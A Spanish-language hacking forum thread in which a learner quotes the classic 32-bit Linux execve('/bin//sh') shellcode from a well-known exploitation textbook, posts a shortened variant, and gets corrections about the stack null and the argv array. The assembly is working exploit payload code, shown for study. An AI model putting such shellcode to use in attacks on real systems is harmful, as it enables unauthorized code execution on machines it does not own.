elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 10:09  


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Duda con shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda con shellcode  (Leído 1,000 veces)
l.stiven

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Duda con shellcode
« en: 14 Abril 2010, 21:15 »

he estado estudiando un capitulo deel libro hacking the art of exploitation, y allí me encontré con el siguiente codigo:

Citar
5.3.1.3. tiny_shell.s
BITS 32

; execve(const char *filename, char *const argv [], char *const envp[])
  xor eax, eax      ; Zero out eax.
  push eax          ; Push some nulls for string termination.
  push 0x68732f2f   ; Push "//sh" to the stack.
  push 0x6e69622f   ; Push "/bin" to the stack.
  mov ebx, esp      ; Put the address of "/bin//sh" into ebx, via esp.
  push eax          ; Push 32-bit null terminator to stack.
  mov edx, esp      ; This is an empty array for envp.
  push ebx          ; Push string addr to stack above null terminator.
  mov ecx, esp      ; This is the argv array with string ptr.
  mov al, 11        ; Syscall #11.
  int 0x80          ; Do it.

con el cual obtengo un shellcode de 25 bytes, bueno todo está bien pero me surgieron preguntas al intentar reducirla unos bytes:

Citar
BITS 32

xor eax, eax
push eax
push 0x736c2f2f ;en este caso no hago un /bin//sh sino /bin//ls
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al,11
int 0x80

 23 bytes :D

borre la primera pregunta (gracias por la correcion sch3m4) ya que era algo tonta.

- es posible que dé probremas el shellcode por el cambio que le hice al original despues del mov ebx, esp?

encontre un codigo que ahorra un poco de tiempo a la hora de probar y escribir la shellcode:
http://www.safemode.org/files/zillion/shellcode/tools/s-proc.c
seguro a alguien le servirá.

agradeceria cualquier comentario, espuesta o corrección.
« Última modificación: 18 Abril 2010, 02:20 por l.stiven » En línea
sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.603

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Duda con shellcode
« Respuesta #1 en: 14 Abril 2010, 21:42 »

Tienes el cero en la pila al hacer el xor de eax y haberlo metido
En línea

OpenSec

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
wisehacks

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: Duda con shellcode
« Respuesta #2 en: 16 Abril 2010, 19:17 »

Y digo yo, el primer elemento del array argv[] (segundo parámetro de execve) debería ser /bin/ls (acabado en '\0') y el segundo un NULL. Tal y como lo tienes puesto, falta el /bin/ls. No sé si lo has probado, pero no debería funcionar.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines